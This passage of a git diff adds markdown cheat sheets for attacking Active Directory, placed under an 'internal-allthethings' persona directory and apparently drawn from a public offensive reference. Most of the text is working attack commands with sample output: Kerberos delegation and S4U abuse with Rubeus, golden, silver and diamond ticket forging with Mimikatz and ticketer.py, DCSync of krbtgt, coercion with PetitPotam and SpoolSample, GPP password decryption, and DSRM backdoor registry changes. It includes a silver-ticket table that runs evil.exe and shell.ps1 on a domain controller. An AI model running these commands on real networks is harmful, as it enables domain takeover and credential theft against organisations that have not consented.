/altservice:cifs,http,host,rpcss,wsman,ldap /ptt + dir \\dc.domain.com\c$ + ``` + +* Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the "Administrator" + + ```ps1 + # Dump ticket + Rubeus.exe tgtdeleg /nowrap + Rubeus.exe triage + Rubeus.exe dump /luid:0x12d1f7 + + # Create a ticket + Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /ticket:doIFRjCCBUKgAwIBB...BTA== /ptt + ``` + +* Rubeus : using aes256 keys + + ```ps1 + # Get aes256 keys of the machine account + privilege::debug + token::elevate + sekurlsa::ekeys + + # Create a ticket + Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /user:win10x64$ /aes256:4b55f...fd82 /ptt + ``` + +## Impersonate a domain user on a resource + +Require: + +* SYSTEM level privileges on a machine configured with constrained delegation + +```ps1 +PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null +PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator') +PS> $idToImpersonate.Impersonate() +PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name +PS> ls \\dc01.offense.local\c$ +``` diff --git a/personas/_shared/internal-allthethings/active-directory/kerberos-delegation-rbcd.md b/personas/_shared/internal-allthethings/active-directory/kerberos-delegation-rbcd.md new file mode 100644 index 0000000..362ccc4 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/kerberos-delegation-rbcd.md @@ -0,0 +1,100 @@ +# Kerberos Delegation - Resource Based Constrained Delegation + +Resource-based Constrained Delegation was introduced in Windows Server 2012. + +> The user sends a Service Ticket (ST) to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B. + +1. Import **Powermad** and **Powerview** + + ```powershell + PowerShell.exe -ExecutionPolicy Bypass + Import-Module .\powermad.ps1 + Import-Module .\powerview.ps1 + ``` + +2. Get user SID + + ```powershell + $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid + $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID} + $ACE + ConvertFrom-SID $ACE.SecurityIdentifier + + # alternative (Windows/Linux) + bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get writable --otype COMPUTER --detail | egrep -i 'distinguishedName|msds-allowedtoactonbehalfofotheridentity' + ``` + +3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it + + ```powershell + New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force) + + # alternative (Windows/Linux) + bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add computer swktest 'Weakest123*' + ``` + +4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties + + ```powershell + $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid + $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" + $SDBytes = New-Object byte[] ($SD.BinaryLength) + $SD.GetBinaryForm($SDBytes, 0) + Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} + $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity + $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0 + $Descriptor.DiscretionaryAcl + + # alternative (Windows/Linux) + # use 'remove' instead of 'add' after exploit + bloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d crash.lab add rbcd 'dc01-ww2$' 'swktest$' + ``` + + ```ps1 + # alternative + $SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid + $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} + + # alternative + StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND + ``` + +5. Use Rubeus to get hash from password + + ```powershell + Rubeus.exe hash /password:'Weakest123*' /user:swktest$ /domain:factory.lan + [*] Input password : Weakest123* + [*] Input username : swktest$ + [*] Input domain : factory.lan + [*] Salt : FACTORY.LANswktest + [*] rc4_hmac : F8E064CA98539B735600714A1F1907DD + [*] aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498 + [*] aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 + [*] des_cbc_md5 : BA297CFD07E62A5E + ``` + +6. Impersonate domain admin using our newly created machine account + + ```powershell + .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap + .\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap + + [*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan' + [*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5) + [*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan' + [*] Sending S4U2proxy request + [+] S4U2proxy success! + [*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan': + + doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD + AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE + LmZhY3RvcnkubGFu + + [*] Action: Import Ticket + [+] Ticket successfully imported! + ``` + +## References + +* [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - 28 January 2019 - Elad Shami](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) +* [A Case Study in Wagging the Dog: Computer Takeover - Will Schroeder - Feb 28, 2019](https://posts.specterops.io/a-case-study-in-wagging-the-dog-computer-takeover-2bcb7f94c783) diff --git a/personas/_shared/internal-allthethings/active-directory/kerberos-delegation-unconstrained.md b/personas/_shared/internal-allthethings/active-directory/kerberos-delegation-unconstrained.md new file mode 100644 index 0000000..64e2256 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/kerberos-delegation-unconstrained.md @@ -0,0 +1,131 @@ +# Kerberos Delegation - Unconstrained Delegation + +> The user sends a ST to access the service, along with their TGT, and then the service can use the user's TGT to request a ST for the user to any other service and impersonate the user. +> When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory. + +:warning: Unconstrained delegation used to be the only option available in Windows 2000 + +> **Warning** +> Remember to coerce to a HOSTNAME if you want a Kerberos Ticket + +## SpoolService Abuse with Unconstrained Delegation + +The goal is to gain DC Sync privileges using a computer account and the SpoolService bug. + +**Requirements**: + +- Object with Property **Trust this computer for delegation to any service (Kerberos only)** +- Must have **ADS_UF_TRUSTED_FOR_DELEGATION** +- Must not have **ADS_UF_NOT_DELEGATED** flag +- User must not be in the **Protected Users** group +- User must not have the flag **Account is sensitive and cannot be delegated** + +### Find delegation + +:warning: : Domain controllers usually have unconstrained delegation enabled. +Check the `TRUSTED_FOR_DELEGATION` property. + +- [ADModule](https://github.com/samratashok/ADModule) + + ```powershell + # From https://github.com/samratashok/ADModule + PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True} + ``` + +- [bloodyAD](https://github.com/CravateRouge/bloodyAD) + + ```ps1 + bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' --attr sAMAccountName,userAccountControl + ``` + +- [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) + + ```powershell + $> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10 + grep TRUSTED_FOR_DELEGATION domain_computers.grep + ``` + +- [netexec module](https://github.com/Pennyw0rth/NetExec/wiki) + + ```powershell + nxc ldap 10.10.10.10 -u username -p password --trusted-for-delegation + ``` + +- BloodHound: `MATCH (c:Computer {unconstraineddelegation:true}) RETURN c` +- Powershell Active Directory module: `Get-ADComputer -LDAPFilter "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -Properties DNSHostName,userAccountControl` + +### SpoolService status + +Check if the spool service is running on the remote host + +```powershell +ls \\dc01\pipe\spoolss +python rpcdump.py DOMAIN/user:password@10.10.10.10 +``` + +### Monitor with Rubeus + +Monitor incoming connections from Rubeus. + +```powershell +Rubeus.exe monitor /interval:1 +``` + +### Force a connect back from the DC + +Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object. + +> SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface. + +```powershell +# From https://github.com/leechristensen/SpoolSample +.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME +.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB +# DC01.HACKER.LAB is the domain controller we want to compromise +# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control. + +# From https://github.com/dirkjanm/krbrelayx +printerbug.py 'domain/username:password'@ + +# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689 +python dementor.py -d domain -u username -p password +``` + +If the attack worked you should get a TGT of the domain controller. + +### Load the ticket + +Extract the base64 TGT from Rubeus output and load it to our current session. + +```powershell +.\Rubeus.exe asktgs /ticket: /service:LDAP/dc.lab.local,cifs/dc.lab.local /ptt +``` + +Alternatively you could also grab the ticket using Mimikatz : `mimikatz # sekurlsa::tickets` + +Then you can use DCsync or another attack : `mimikatz # lsadump::dcsync /user:HACKER\krbtgt` + +### Mitigation + +- Ensure sensitive accounts cannot be delegated +- Disable the Print Spooler Service + +## MS-EFSRPC Abuse with Unconstrained Delegation + +Using `PetitPotam`, another tool to coerce a callback from the targeted machine, instead of `SpoolSample`. + +```bash +# Coerce the callback +git clone https://github.com/topotam/PetitPotam +python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP +python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP + +# Extract the ticket +.\Rubeus.exe asktgs /ticket: /ptt +``` + +## References + +- [Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019](https://www.riccardoancarani.it/exploiting-unconstrained-delegation/) +- [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto Rodriguez - Nov 28, 2018](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1) +- [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - Elad Shamir - 28 January 2019](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) diff --git a/personas/_shared/internal-allthethings/active-directory/kerberos-s4u.md b/personas/_shared/internal-allthethings/active-directory/kerberos-s4u.md new file mode 100644 index 0000000..5138dfe --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/kerberos-s4u.md @@ -0,0 +1,39 @@ +# Kerberos - Service for User Extension + +* **Service For User To Self** which allows a service to obtain a TGS on behalf of another user +* **Service For User To Proxy** which allows a service to obtain a TGS on behalf of another user on another service + +## S4U2self - Privilege Escalation + +1. Get a TGT + * Using Unconstrained Delegation + * Using the current machine account: `Rubeus.exe tgtdeleg /nowrap` + * Using credentials: `getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"` +2. Use that TGT to make a S4U2self request in order to obtain a Service Ticket as domain admin for the machine. + + ```ps1 + # Windows + Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrator" /altservice:"cifs/srv001.domain.local" /ticket:"base64ticket" + Rubeus.exe ptt /ticket:"base64ticket" + + Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrator" /altservice:"cifs/srv001" /ticket:"base64ticket" /ptt + + # Linux + export KRB5CCNAME="/path/to/ticket.ccache" + getST.py -self -impersonate "DomainAdmin" -altservice "cifs/machine.domain.local" -k -no-pass -dc-ip "DomainController" "domain.local"/'machine$' + ``` + +The "Network Service" account and the AppPool identities can act as the computer account in terms of Active Directory, they are only restrained locally. Therefore it is possible to invoke S4U2self if you run as one of these and request a service ticket for any user (e.g. someone with local admin rights, like DA) to yourself. + +```ps1 +# The Rubeus execution will fail when trying the S4UProxy step, but the ticket generated by S4USelf will be printed. +Rubeus.exe s4u /user:${computerAccount} /msdsspn:cifs/${computerDNS} /impersonateuser:${localAdmin} /ticket:${TGT} /nowrap +# The service name is not included in the TGS ciphered data and can be modified at will. +Rubeus.exe tgssub /ticket:${ticket} /altservice:cifs/${ServerDNSName} /ptt +``` + +## References + +* [Abusing S4U2Self: Another Sneaky Active Directory Persistence - Alsid](https://alsid.com/company/news/abusing-s4u2self-another-sneaky-active-directory-persistence) +* [S4U2self abuse - TheHackerRecipes](https://www.thehacker.recipes/ad/movement/kerberos/delegations/s4u2self-abuse) +* [Abusing Kerberos S4U2self for local privilege escalation - cfalta](https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/) diff --git a/personas/_shared/internal-allthethings/active-directory/kerberos-tickets.md b/personas/_shared/internal-allthethings/active-directory/kerberos-tickets.md new file mode 100644 index 0000000..40725f2 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/kerberos-tickets.md @@ -0,0 +1,195 @@ +# Kerberos - Tickets + +Tickets are used to grant access to network resources. A ticket is a data structure that contains information about the user's identity, the network service or resource being accessed, and the permissions or privileges associated with that resource. Kerberos tickets have a limited lifetime and expire after a set period of time, typically 8 to 12 hours. + +There are two types of tickets in Kerberos: + +* **Ticket Granting Ticket** (TGT): The TGT is obtained by the user during the initial authentication process. It is used to request additional service tickets without requiring the user to re-enter their credentials. The TGT contains the user's identity, a timestamp, and an encryption of the user's secret key. + +* **Service Ticket** (ST): The service ticket is used to access a specific network service or resource. The user presents the service ticket to the service or resource, which then uses the ticket to authenticate the user and grant access to the requested resource. The service ticket contains the user's identity, a timestamp, and an encryption of the service's secret key. + +## Dump Kerberos Tickets + +* Mimikatz: `sekurlsa::tickets /export` +* Rubeus + + ```ps1 + # List available tickets + Rubeus.exe triage + + # Dump one ticket, the output is in Kirbi format + Rubeus.exe dump /luid:0x12d1f7 + ``` + +## Replay Kerberos Tickets + +* Mimikatz: `mimikatz.exe "kerberos::ptc C:\temp\TGT_Administrator@lab.local.ccache"` +* netexec: `KRB5CCNAME=/tmp/administrator.ccache netexec smb 10.10.10 -u user --use-kcache` + +## Convert Kerberos Tickets + +In the Kerberos authentication protocol, ccache and kirbi are two types of Kerberos credential caches that are used to store Kerberos tickets. + +* A credential cache, or `"ccache"` is a temporary storage area for Kerberos tickets that are obtained during the authentication process. The ccache contains the user's authentication credentials and is used to access network resources without having to re-enter the user's credentials for each request. + +* The Kerberos Integrated Windows Authentication (KIWA) protocol used by Microsoft Windows systems also makes use of a credential cache called a `"kirbi"` cache. The kirbi cache is similar to the ccache used by standard Kerberos implementations, but with some differences in the way it is structured and managed. + +While both caches serve the same basic purpose of storing Kerberos tickets to enable efficient access to network resources, they differ in format and structure. You can convert them easily using: + +* kekeo: `misc::convert ccache ticket.kirbi` +* impacket: `impacket-ticketConverter SRV01.kirbi SRV01.ccache` + +## Pass-the-Ticket Golden Tickets + +A Golden Ticket is a forged Kerberos Ticket Granting Ticket (TGT) that allows an attacker to impersonate any user — including Domain Admins — on a compromised Active Directory domain. + +**Requirements**: + +| Requirement | Description | +| ----------------- | ----------- | +| Domain name | corp.local | +| Domain SID | S-1-5-21-1234567890-2345678901-3456789012 | +| KRBTGT NTLM hash | The NTLM hash of the KRBTGT account | +| Username | Administrator | +| (Optional) Groups | Add group SIDs for elevated access (e.g., Domain Admin) | + +As a result of `CVE-2021-42287` mitigations, the ticket cannot use a non-existent account name. + +> The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt NT hash must be used. + +### Golden Ticket Creation + +* Using **Ticketer** + +```powershell +python3 ticketer.py -nthash \ + -domain-sid S-1-5-21-1234567890-2345678901-3456789012 \ + -domain corp.local Administrator + +python3 ticketer.py -nthash \ + -domain-sid S-1-5-21-1234567890-2345678901-3456789012 \ + -domain corp.local \ + -user-id 500 \ + -extra-sid S-1-5-21-1234567890-2345678901-3456789012-512 \ + Administrator +``` + +* Using **Mimikatz** + +```powershell +# Get info - Mimikatz +lsadump::lsa /inject /name:krbtgt +lsadump::lsa /patch +lsadump::trust /patch +lsadump::dcsync /user:krbtgt + +# Forge a Golden ticket - Mimikatz +kerberos::purge +kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt +kerberos::tgt +``` + +* Using **Meterpreter** + +```powershell +# Get info - Meterpreter(kiwi) +dcsync_ntlm krbtgt +dcsync krbtgt + +# Forge a Golden ticket - Meterpreter +load kiwi +golden_ticket_create -d -k -s -u -t +golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck +kerberos_ticket_purge +kerberos_ticket_use /root/Downloads/pentestlabuser.tck +kerberos_ticket_list +``` + +Golden tickets with "Enterprise admins" SID can be used cross forest boundaries. + +**Mitigations**: + +* Hard to detect because they are legit TGT tickets +* Mimikatz generate a golden ticket with a life-span of 10 years + +## Pass-the-Ticket Silver Tickets + +Forging a Service Ticket (ST) require machine account password (key) or NT hash of the service account. + +```powershell +# Create a ticket for the service +mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE + +# Examples +mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt +mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park + +# Then use the same steps as a Golden ticket +mimikatz $ misc::convert ccache ticket.kirbi + +root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache +root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 +``` + +Interesting services to target with a silver ticket : + +| Service Type | Service Silver Tickets | Attack | +|---------------------------------------------|------------------------|--------| +| WMI | HOST + RPCSS | `wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"` | +| PowerShell Remoting | CIFS + HTTP + (wsman?) | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` | +| WinRM | HTTP + wsman | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` | +| Scheduled Tasks | HOST | `schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"` | +| Windows File Share (CIFS) | CIFS | `dir \\dc01\c$` | +| LDAP operations including Mimikatz DCSync | LDAP | `lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt` | +| Windows Remote Server Administration Tools | RPCSS + LDAP + CIFS | / | + +Mitigations: + +* Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket. + +## Pass-the-Ticket Diamond Tickets + +> Request a legit low-priv TGT and recalculate only the PAC field providing the krbtgt encryption key + +Requirements: + +* krbtgt NT Hash +* krbtgt AES key + +```ps1 +ticketer.py -request -domain 'lab.local' -user 'domain_user' -password 'password' -nthash 'krbtgt/service NT hash' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' -user-id '1337' -groups '512,513,518,519,520' 'baduser' + +Rubeus.exe diamond /domain:DOMAIN /user:USER /password:PASSWORD /dc:DOMAIN_CONTROLLER /enctype:AES256 /krbkey:HASH /ticketuser:USERNAME /ticketuserid:USER_ID /groups:GROUP_IDS +``` + +## Pass-the-Ticket Sapphire Tickets + +> Requesting the target user's PAC with `S4U2self+U2U` exchange during TGS-REQ(P) (PKINIT). + +The goal is to mimic the PAC field as close as possible to a legitimate one. + +Requirements: + +* [Impacket PR#1411](https://github.com/SecureAuthCorp/impacket/pull/1411) +* krbtgt AES key + +```ps1 +# baduser argument will be ignored +ticketer.py -request -impersonate 'domain_adm' -domain 'lab.local' -user 'domain_user' -password 'password' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' 'baduser' +``` + +## References + +* [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/) +* [How Attackers Use Kerberos Silver Tickets to Exploit Systems - Sean Metcalf](https://adsecurity.org/?p=2011) +* [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/) +* [Diamond tickets - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/diamond) +* [A Diamond (Ticket) in the Ruff - By CHARLIE CLARK July 05, 2022](https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/) +* [Sapphire tickets - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/sapphire) +* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/) +* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/) +* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/) +* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/) +* [WONKACHALL AKERVA NDH2018 – WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/) +* [How To Attack Kerberos 101 - m0chan - July 31, 2019](https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html) +* [Kerberos (II): How to attack Kerberos? - June 4, 2019 - ELOY PÉREZ](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/) diff --git a/personas/_shared/internal-allthethings/active-directory/pwd-comments.md b/personas/_shared/internal-allthethings/active-directory/pwd-comments.md new file mode 100644 index 0000000..d6bb329 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/pwd-comments.md @@ -0,0 +1,37 @@ +# Password - AD User Comment + +There are 3-4 fields that seem to be common in most Active Directory schemas: `UserPassword`, `UnixUserPassword`, `unicodePwd` and `msSFU30Password`. + +* Windows/Linux command + + ```ps1 + bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(|(userPassword=*)(unixUserPassword=*)(unicodePassword=*)(description=*))' --attr userPassword,unixUserPassword,unicodePwd,description + ``` + +* Password in User Description + + ```powershell + netexec ldap domain.lab -u 'username' -p 'password' -M user-desc + netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users + GET-DESC... 10.0.2.11 389 dc01 [+] Found following users: + GET-DESC... 10.0.2.11 389 dc01 User: Guest description: Built-in account for guest access to the computer/domain + GET-DESC... 10.0.2.11 389 dc01 User: krbtgt description: Key Distribution Center Service Account + ``` + +* Get `unixUserPassword` attribute from all users in ldap + + ```ps1 + nxc ldap 10.10.10.10 -u user -p pass -M get-unixUserPassword -M getUserPassword + ``` + +* Native Powershell command + + ```powershell + Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID + ``` + +* Dump the Active Directory and `grep` the content. + + ```powershell + ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/ + ``` diff --git a/personas/_shared/internal-allthethings/active-directory/pwd-dsrm-credentials.md b/personas/_shared/internal-allthethings/active-directory/pwd-dsrm-credentials.md new file mode 100644 index 0000000..d5d23da --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/pwd-dsrm-credentials.md @@ -0,0 +1,18 @@ +# Password - DSRM Credentials + +> Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database. + +This is the local administrator account inside each DC. Having admin privileges in this machine, you can use Mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user. + +```ps1 +Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' + +# Check if the key exists and get the value +Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior + +# Create key with value "2" if it doesn't exist +New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD + +# Change value to "2" +Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 +``` diff --git a/personas/_shared/internal-allthethings/active-directory/pwd-group-policy-preferences.md b/personas/_shared/internal-allthethings/active-directory/pwd-group-policy-preferences.md new file mode 100644 index 0000000..88c977e --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/pwd-group-policy-preferences.md @@ -0,0 +1,58 @@ +# Password - Group Policy Preferences + +Find passwords in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\\SYSVOL\\Policies\`. + +```powershell +findstr /S /I cpassword \\\sysvol\\policies\*.xml +``` + +Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx) + +```bash +echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000 + +e.g: +echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000 + +echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000 +``` + +## Automate the SYSVOL and passwords research + +* `Metasploit` modules to enumerate shares and credentials + + ```c + scanner/smb/smb_enumshares + post/windows/gather/enum_shares + post/windows/gather/credentials/gpp + ``` + +* NetExec modules + + ```powershell + nxc smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin + nxc smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password + ``` + +* [Get-GPPPassword](https://github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py) + + ```powershell + # with a NULL session + Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER' + + # with cleartext credentials + Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER' + + # pass-the-hash + Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER' + ``` + +## Mitigations + +* Install [KB2962486](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025) on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences. +* Delete existing GPP xml files in SYSVOL containing passwords. +* Don’t put passwords in files that are accessible by all authenticated users. + +## References + +* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288) diff --git a/personas/_shared/internal-allthethings/active-directory/pwd-precreated-computer.md b/personas/_shared/internal-allthethings/active-directory/pwd-precreated-computer.md new file mode 100644 index 0000000..d62a743 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/pwd-precreated-computer.md @@ -0,0 +1,39 @@ +# Password - Pre-Created Computer Account + +When `Assign this computer account as a pre-Windows 2000 computer` checkmark is checked, the password for the computer account becomes the same as the computer account in 